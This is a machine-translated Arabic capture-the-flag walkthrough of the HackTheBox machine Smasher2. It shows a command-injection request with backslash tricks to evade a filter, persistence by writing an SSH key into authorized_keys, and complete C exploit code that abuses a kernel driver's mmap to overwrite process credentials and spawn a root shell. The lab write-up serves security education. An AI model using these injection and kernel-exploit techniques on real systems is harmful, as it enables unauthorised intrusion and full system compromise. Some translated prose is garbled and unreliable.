هاك ذا بوكس ​​- Smasher2 تجول قارورة ، WAF و LPE عبر السائقين pwn

صورة

في هذه المقالة ، سأبدأ في نشر حلول تم إرسالها لمزيد من المعالجة من موقع HackTheBox . آمل أن يساعد ذلك شخصًا على الأقل على التطور في مجال أمن المعلومات. في هذه المقالة سنقوم بعكس مكتبة python وتجاوز WAF واستغلال ثغرة mmap.

الاتصال بالمختبر عبر VPN. يوصى بعدم الاتصال من كمبيوتر يعمل أو من مضيف حيث تتوفر البيانات المهمة بالنسبة لك ، حيث ينتهي بك المطاف على شبكة خاصة مع أشخاص يعرفون شيئًا في مجال أمان المعلومات :)

المعلومات التنظيمية
خاصةً لأولئك الذين يرغبون في تعلم شيء جديد وتطويره في أي من مجالات أمن المعلومات والحاسوب ، سأكتب وأتحدث عن الفئات التالية:

  • PWN.
  • التشفير (التشفير) ؛
  • تقنيات الشبكات (الشبكة) ؛
  • عكس (الهندسة العكسية) ؛
  • إخفاء المعلومات (Stegano) ؛
  • بحث واستغلال مواطن الضعف WEB.

بالإضافة إلى ذلك ، سوف أشارك تجربتي في الطب الشرعي للكمبيوتر ، وتحليل البرامج الضارة والبرامج الثابتة ، والهجمات على الشبكات اللاسلكية وشبكات المناطق المحلية ، وإجراء عمليات pentests واستغلال الكتابة.

حتى تتمكن من معرفة المقالات الجديدة والبرامج والمعلومات الأخرى ، أنشأت قناة في Telegram ومجموعة لمناقشة أي مشاكل في مجال التصنيف الدولي للأمراض. أيضًا ، سأدرس شخصيًا طلباتك الشخصية وأسئلتك واقتراحاتك وتوصياتك شخصيًا وسأجيب على الجميع .

يتم توفير جميع المعلومات للأغراض التعليمية فقط. لا يتحمل مؤلف هذا المستند أية مسؤولية عن أي ضرر يلحق بشخص ما نتيجة استخدام المعرفة والأساليب التي تم الحصول عليها نتيجة لدراسة هذا المستند.

استكشاف


ميناء المسح الضوئي


يحتوي هذا الجهاز على عنوان IP قدره 10.10.10.135 ، أقوم بإضافته إلى / etc / hosts.
10.10.10.135 smasher2.htb
أولاً ، نقوم بمسح المنافذ المفتوحة. نظرًا لأن الأمر يستغرق وقتًا طويلاً لمسح جميع المنافذ باستخدام nmap ، فسأفعل ذلك أولاً باستخدام masscan. نحن نقوم بفحص جميع منافذ TCP و UDP من واجهة tun0 بسرعة 1000 حزمة في الثانية.

 masscan -e tun0 -p1-65535,U:1-65535 10.10.10.135 --rate=1000 

صورة

المضيف لديه 3 منافذ مفتوحة. الآن قم بمسحه ضوئيًا باستخدام nmap للحصول على مزيد من التفاصيل.

 nmap -A 10.10.10.135 -p22,53,80 

صورة

وبالتالي لدينا SSH و DNS و WEB ، والتي تُرجع رمز 403 (محظور ، تم رفض الوصول).

DNS


دعونا التحقق من DNS. للقيام بذلك ، استخدم العميل المضيف ، مع الخيار -l ، لاستخدام طلب AXFR لرؤية قائمة بجميع المضيفين في المجال.

 host -l smasher2.htb 10.10.10.135 

صورة

لذلك ، تحتاج إلى إضافة إدخال جديد في / etc / hosts.
10.10.10.135 wonderfulsessionmanager.smasher2.htb

WEB


الآن دعنا ننتقل لنرى ما الذي سوف يقدمه لنا WEB عند الوصول إلى smasher2.htb.

صورة

إنه فارغ. في هذه الحالة ، يجب عليك فرز الدلائل. أنا أستخدم golang مكتوب gobuster سريع. سنقوم بفرز الدلائل في 128 موضوعًا ، وسنكون مهتمين بتنسيقات html و php و txt وملحقات conf ورموز الاستجابة 200 و 204 و 301 و 302 و 307 و 401.

 gobuster dir -t 128 -u http://smasher2.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php,txt,conf -s 200,204,301,302,307,401 

صورة

ابحث عن دليل النسخ الاحتياطي. نحن ننظر إلى ما هو فيه.

صورة

نتيجة لذلك ، قم بتنزيل ملف ومكتبة بايثون. بعد ذلك ، انتقل إلى اسم مجال آخر ، وهناك نجد نموذج التفويض.

صورة

يقوم البرنامج المساعد Mozilla Firefox Wappalyzer بالإبلاغ عن التقنيات المستخدمة. وهكذا ، هو مكتوب في موقع بيثون 2.7.15.

صورة

WEB API


الثعبان


لقد وجدنا ملف auth.py ، دعنا نحلله. في السطر الأول من الاستيراد ، ننتقل إلى الوحدة النمطية ses.so ، والتي وجدناها أيضًا في النسخ الاحتياطية.

صورة

نجد المصادقة في الرمز. في حالة المصادقة الناجحة ، سوف نعيد secret_token_info.

صورة

صورة

دعنا نذهب إلى نقطة "/ api // job". يتم استلام البيانات بواسطة طريقة POST ، بينما يجب أن تكون بتنسيق JSON. إذا كانت معلمة الجدول موجودة في البيانات ، يتم تمريرها إلى التنفيذ كأمر في سطر الأوامر.

صورة

تم تعديل تسجيل الدخول وكلمة المرور ... تم نقلهما إلى مكتبتنا ، مما ينشئ جلسة - كائن SessionManager.

صورة

سيتم استدعاء وظيفة safe_init_manager (id) في كل مكالمة جديدة ، وذلك بسبب before_request. وبالتالي ، تتم تهيئة جلسة جديدة.

صورة

تنشئ الدالة login () كائن مدير معتمد على الجلسة.

صورة

يتم إجراء التحقق بواسطة طريقة check_login ().

صورة

عكس


لذلك نحن بحاجة لمعرفة كيف يتم فحص البيانات. للقيام بذلك ، في المكتبة نحتاج إلى فهم جهاز SessionManager.check_login (). رمي في IDA Pro ، ابحث عن الوظيفة المطلوبة.

صورة

فتح الوظيفة ، ولفت الانتباه إلى الرسم البياني لها. كنت مهتمًا بعدد من الكتل السفلية ، قبل التقارب.

صورة

بالنظر إلى الكتل ، يمكنك معرفة ما يتحدث عنه هذا الفرع أو ذاك من تنفيذ الوظيفة. وبالتالي ، نحن بحاجة فقط كتلة أقصى اليمين.

صورة

لقد رسمت خط سلوك الوظيفة التي تهمنا.

صورة

الآن دعنا نذهب لنرى ماذا سيحدث. في مكان واحد ، لاحظت رمزًا متطابقًا لتسجيل الدخول وكلمة المرور. وكذلك نفس المقارنة.

صورة

علاوة على ذلك ، يتم استدعاء نفس الوظيفة لتسجيل الدخول وكلمة المرور.

صورة

هذا يشير إلى أن اسم المستخدم وكلمة المرور متشابهة. ولكن نظرًا لأن هذه القيمة تأتي إلى برنامج python وتم تحريره ، يبقى فقط للفرز. جربت الاسم القياسي ، ولدهشتي ، جاء المسؤول (لماذا لم أحاول على الفور ...).

صورة

نقطة الدخول


لدينا مفتاح. الآن تحتاج إلى جمع الطلب لتنفيذ التعليمات البرمجية. كما ذكرنا سابقًا ، يجب أن نرسل بيانات طريقة POST التي تحتوي على معلمة الجدول الزمني بتنسيق JSON إلى wonderfulsessionmanager.smasher2.htb / auth / fe61e023b3c64d75b3965a5dd1a923e392c8baeac4ef870334fcad98e6b264f8 / job . نحن نفعل هذا مع حليقة ، وتمرير النتيجة إلى jq. سنقوم بتنفيذ أمر whoami.

 curl -s -H "Cookie: session=eyJpZCI6eyIgYiI6Ik5UaGlZVEJrTmpBMk1qYzBNemN4TmprellUTm1NREV3TXprMk9USTRPV1UzTnpVd05EQXdZZz09In19.XfZcLA.R3UTUnieAARkHBTbqpTmofKWtBw" -H "Content-Type: application/json" http://wonderfulsessionmanager.smasher2.htb/api/fe61e023b3c64d75b3965a5dd1a923e392c8baeac4ef870334fcad98e6b264f8/job --data '{"schedule":"whoami"}' | jq 

صورة

لكن عند محاولة تنفيذ الأمر "ls" ، حصلنا على خطأ.

صورة

على الأرجح هناك مرشح في الفريق. دعنا نرسل "l \\ s" - بنجاح ، مما يدل على وجود مرشح.

صورة

USER


الآن نحن بحاجة إلى الحصول على قذيفة طبيعية في النظام. يقوم النظام بتشغيل SSH ، حتى نتمكن من إنشاء مفتاح ودفعه إلى قائمة المضيفين المعتمدين.

أولاً نولد مفتاحًا.

صورة

نحن الآن بحاجة إلى نقل المفتاح العام لدينا إلى الملف / home /dzonerzy/.ssh/authorized_keys. ولكن لتسهيل النقل ، سنستخدم الترميز في base64.

 base64 -w0 id_rsa.pub 

ننقلها أولاً إلى ملف مؤقت.

 ec\\ho \”=\” > /tmp/ralf 

فك شفرة الآن والكتابة على النحو المنشود.
 ba\\se\\64 -\\d /tmp/ralf >> /home/dzonerzy/\\.\\ss\\h/auth\\orized_ke\\ys 

لقد قمنا بتدوين المفتاح ، والآن إذا كان كل شيء على ما يرام ، يمكننا الاتصال عبر SSH باستخدام المفتاح الخاص. نحن نحاول. ونحن في النظام.

صورة

LPE - الجذر


تعداد


بجانب رمز المستخدم يكمن ملف README. اقرأها.

صورة

قيل لنا أنه لا ينبغي لنا أن نفكر بطريقة معيارية ... ولكن بعد الانتهاء من التعدادات القياسية والعثور على أي شيء ، لفتت الانتباه إلى المجموعة التي يكون المستخدم فيها.

صورة

مجموعة adm لديها حق الوصول إلى الملفات المثيرة للاهتمام.

صورة

على سبيل المثال ، auth.log. لا يعكس فقط حقائق التفويض الناجح وغير الناجح ، ولكن أيضًا حقائق استخدام الأمر sudo.

 strings /var/log/auth.log | grep sudo 

صورة

يتم تنفيذ أمر مثير للاهتمام نيابة عن الجذر. ولكنه متصل مع برنامج التشغيل ، لذلك عليك التأكد من اتباع المسار أم لا.

صورة

نعم ، لسوء الحظ ، كل شيء يذهب إلى السائق.

سائق


نظرًا لأن هذا برنامج تشغيل (وحدة kernel) ، فسوف نحصل على معلومات حول ذلك باستخدام modinfo.

صورة

يقال إن السائق مطلوب للعمل مع جهاز الذيد. التحقق من ذلك.

صورة

نعم. هناك مثل هذا الجهاز. لدراسة برنامج التشغيل ، قمت بنسخه بنفسي وقمت بتنزيله في IDA Pro.

 scp -i id_rsa dzonerzy@10.10.10.135:/lib/modules/4.15.0-45-generic/kernel/drivers/hid/dhid.ko ./ 

قائمة هزيلة من الوظائف ، منها PWN ، نحن مهتمون بالوظائف التي تعمل مع الذاكرة. اذا حكمنا من خلال الأسماء ، هذه هي dev_read و dev_mmap.

صورة

مزيد من googling ، لم أجد بشكل خاص معلومات حول مشكلة عدم الحصانة في برامج التشغيل المتعلقة بالقراءة ، والتي لا يمكن قولها عن mmap! لذلك ذهبت إليها.

صورة

بشكل عام ، يعد الأمر ضروريًا لتعيين الجهاز على الذاكرة وتحديد الصفحات حسب الطلب ، نظرًا لأن الجهاز لا يستخدم الذاكرة الفعلية على الإطلاق.

في هذا الرمز ، المكان الوحيد المثير للاهتمام هو استدعاء وظيفة remap_pfn_range ، والتي تسمح بالتعيين الخطي لذاكرة الجهاز على مساحة عنوان المستخدم.
int remap_pfn_range (struct vm_area_struct * vma، virt_add طويلة غير موقعة، pfn طويلة غير موقعة، حجم طويل غير موقّع، pgprot_t prot)؛

يعرض بايتات حجم العناوين الفعلية ، بدءًا من رقم الصفحة المحدد بواسطة pfn للعنوان الظاهري virt_add. يتم تحديد بتات الأمان المرتبطة بالمساحة الافتراضية في prot.

كالمعتاد ، ننظر إلى المعلمات التي لم تتم معالجتها مسبقًا. هذه هي معلمات pfn والحجم ، والتي تتيح لنا عرض أي مقدار من الذاكرة للقراءة والكتابة.

استغلال


غوغلينغ ما يمكن القيام به حيال ذلك ، فوجئت بطريقة ممكنة للاستغلال. إذا تمكنا من العثور على بنية التحكم في الأرصدة في الذاكرة ، فسيسمح لنا ذلك بتغيير معرف المستخدم إلى 0. ثم ندعو shell ، والذي سوف يمنحنا shell بامتيازات كاملة.

صورة

أولاً ، تحقق مما إذا كان بإمكاننا عرض كمية كبيرة من الذاكرة. سيفتح الكود التالي الجهاز ويعرض 0xf0000000 بايت بدءًا من العنوان 0x40404040 للقراءة والكتابة مع إمكانية استخدام هذا الانعكاس مع العمليات الأخرى التي تعكس الكائن نفسه.

قانون
 #include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <unistd.h> #include <fcntl.h> #include <sys/mman.h> int main(int argc, char * const * argv){ printf("pid: %d\n", getpid()); int fd = open("/dev/dhid", O_RDWR); printf("fd: %d\n", fd); unsigned long size = 0xf0000000; unsigned long start_mmap = 0x40404000; unsigned int * addr = (unsigned int *)mmap((void*)start_mmap, size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0x0); printf("mmap address: %lx\n", addr); int stop = getchar(); return 0; } 


ترجمة: gcc sh.c -o sh.bin ونقلها إلى المضيف. دعونا تشغيله.

صورة

الآن دعنا نذهب إلى محطة ssh أخرى وننظر إلى بطاقة الذاكرة لهذه العملية.

صورة

كما ترون ، العنوان هو نفسه ، يتم لصق الملصقات الخاصة بالقراءة والكتابة ، وكذلك المشاركة. هذه هي فكرة العمل. والخطوة التالية هي العثور على بنية الاعتمادات للعملية في الاعتبار. يمكن أن يتضح من الهيكل أعلاه أن السمة المميزة ستكون 8 أرقام جرحى بسبب معرفتنا ، تسير على التوالي.

قانون
 #include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <unistd.h> #include <fcntl.h> #include <sys/mman.h> int main(int argc, char * const * argv){ printf("pid: %d\n", getpid()); int fd = open("/dev/dhid", O_RDWR); printf("fd: %d\n", fd); unsigned long size = 0xf0000000; unsigned long start_mmap = 0x40404000; unsigned int * addr = (unsigned int *)mmap((void*)start_mmap, size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0x0); printf("mmap address: %lx\n", addr); unsigned int uid = getuid(); unsigned int cred_cur = 0; unsigned int cred_iter = 0; while (((unsigned long)addr) < (start_mmap + size - 0x40)){ cred_cur = 0; if( addr[cred_cur++] == uid && addr[cred_cur++] == uid && addr[cred_cur++] == uid && addr[cred_cur++] == uid && addr[cred_cur++] == uid && addr[cred_cur++] == uid && addr[cred_cur++] == uid && addr[cred_cur++] == uid ){ cred_iter++; printf("found struct... ptr: %p, cred_iter: %d\n", addr, cred_iter); } addr++; } fflush(stdout); int stop = getchar(); return 0; } 


وهكذا وجدنا 19 هياكل مماثلة.

صورة

نحن الآن بحاجة إلى إعادة كتابة كل المعرفات إلى 0. بعد إعادة كتابة المعرف الخاص بهيكل معين ، سوف نتحقق من معرف المستخدم الخاص بنا. بمجرد أن يصبح معرف المستخدم يساوي 0 ، يمكننا أن نفترض أننا وجدنا ائتمانات بنية العملية التي نحتاجها.

قانون
 #include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <unistd.h> #include <fcntl.h> #include <sys/mman.h> int main(int argc, char * const * argv){ printf("pid: %d\n", getpid()); int fd = open("/dev/dhid", O_RDWR); printf("fd: %d\n", fd); unsigned long size = 0xf0000000; unsigned long start_mmap = 0x40404000; unsigned int * addr = (unsigned int *)mmap((void*)start_mmap, size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0x0); printf("mmap address: %lx\n", addr); unsigned int uid = getuid(); unsigned int cred_cur = 0; unsigned int cred_iter = 0; while (((unsigned long)addr) < (start_mmap + size - 0x40)){ cred_cur = 0; if( addr[cred_cur++] == uid && addr[cred_cur++] == uid && addr[cred_cur++] == uid && addr[cred_cur++] == uid && addr[cred_cur++] == uid && addr[cred_cur++] == uid && addr[cred_cur++] == uid && addr[cred_cur++] == uid ){ cred_iter++; printf("found struct... ptr: %p, crednum: %d\n", addr, cred_iter); cred_cur = 0; addr[cred_cur++] = 0; addr[cred_cur++] = 0; addr[cred_cur++] = 0; addr[cred_cur++] = 0; addr[cred_cur++] = 0; addr[cred_cur++] = 0; addr[cred_cur++] = 0; addr[cred_cur++] = 0; if (getuid() == 0){ printf("found current struct... ptr: %p, crednum: %d\n", addr, cred_iter); break; } else{ cred_cur = 0; addr[cred_cur++] = uid; addr[cred_cur++] = uid; addr[cred_cur++] = uid; addr[cred_cur++] = uid; addr[cred_cur++] = uid; addr[cred_cur++] = uid; addr[cred_cur++] = uid; addr[cred_cur++] = uid; } } addr++; } fflush(stdout); int stop = getchar(); return 0; } 


صورة

الآن ، بعد العثور على البنية التي نحتاجها ، سنقوم بتغيير uid إلى 0xffffffff وندعو shell bash من خلال وظيفة exec.

قانون
 #include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <unistd.h> #include <fcntl.h> #include <sys/mman.h> int main(int argc, char * const * argv){ printf("pid: %d\n", getpid()); int fd = open("/dev/dhid", O_RDWR); printf("fd: %d\n", fd); unsigned long size = 0xf0000000; unsigned long start_mmap = 0x40404000; unsigned int * addr = (unsigned int *)mmap((void*)start_mmap, size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0x0); printf("mmap address: %lx\n", addr); unsigned int uid = getuid(); unsigned int cred_cur = 0; unsigned int cred_iter = 0; while (((unsigned long)addr) < (start_mmap + size - 0x40)){ cred_cur = 0; if( addr[cred_cur++] == uid && addr[cred_cur++] == uid && addr[cred_cur++] == uid && addr[cred_cur++] == uid && addr[cred_cur++] == uid && addr[cred_cur++] == uid && addr[cred_cur++] == uid && addr[cred_cur++] == uid ){ cred_iter++; printf("found struct... ptr: %p, crednum: %d\n", addr, cred_iter); cred_cur = 0; addr[cred_cur++] = 0; addr[cred_cur++] = 0; addr[cred_cur++] = 0; addr[cred_cur++] = 0; addr[cred_cur++] = 0; addr[cred_cur++] = 0; addr[cred_cur++] = 0; addr[cred_cur++] = 0; if (getuid() == 0){ printf("found current struct... ptr: %p, crednum: %d\n", addr, cred_iter); cred_cur += 1; addr[cred_cur++] = 0xffffffff; addr[cred_cur++] = 0xffffffff; addr[cred_cur++] = 0xffffffff; addr[cred_cur++] = 0xffffffff; addr[cred_cur++] = 0xffffffff; addr[cred_cur++] = 0xffffffff; addr[cred_cur++] = 0xffffffff; addr[cred_cur++] = 0xffffffff; addr[cred_cur++] = 0xffffffff; addr[cred_cur++] = 0xffffffff; execl("/bin/sh","-", (char *)NULL); break; } else{ cred_cur = 0; addr[cred_cur++] = uid; addr[cred_cur++] = uid; addr[cred_cur++] = uid; addr[cred_cur++] = uid; addr[cred_cur++] = uid; addr[cred_cur++] = uid; addr[cred_cur++] = uid; addr[cred_cur++] = uid; } } addr++; } fflush(stdout); int stop = getchar(); return 0; } 


صورة

حصلنا على الجذر. في الواقع ، هذه آلة معقدة للغاية تتطلب تطوراً للتعامل مع هذا الإصدار من LPE.

بالطبع ، كان من الصعب للغاية الحصول على استغلال مشكلة عدم الحصانة في برنامج التشغيل ، وأنا ممتن للمجتمع الذي ساعدني مع تلميح حول كيفية الوصول إلى برنامج التشغيل ومشاركة مقال حول استغلال مشكلة عدم الحصانة مماثلة في mmap.

هل يجب علي مواصلة نشر تحليل الأجهزة المرسلة لمزيد من المعالجة؟ يمكنك الانضمام إلينا على Telegram . فلنجمع مجتمعًا سيكون فيه أشخاص على دراية بالعديد من مجالات تكنولوجيا المعلومات ، ثم يمكننا دائمًا مساعدة بعضنا البعض في أي قضايا تتعلق بتكنولوجيا المعلومات وأمن المعلومات.

Source: https://habr.com/ru/post/ar480454/


All Articles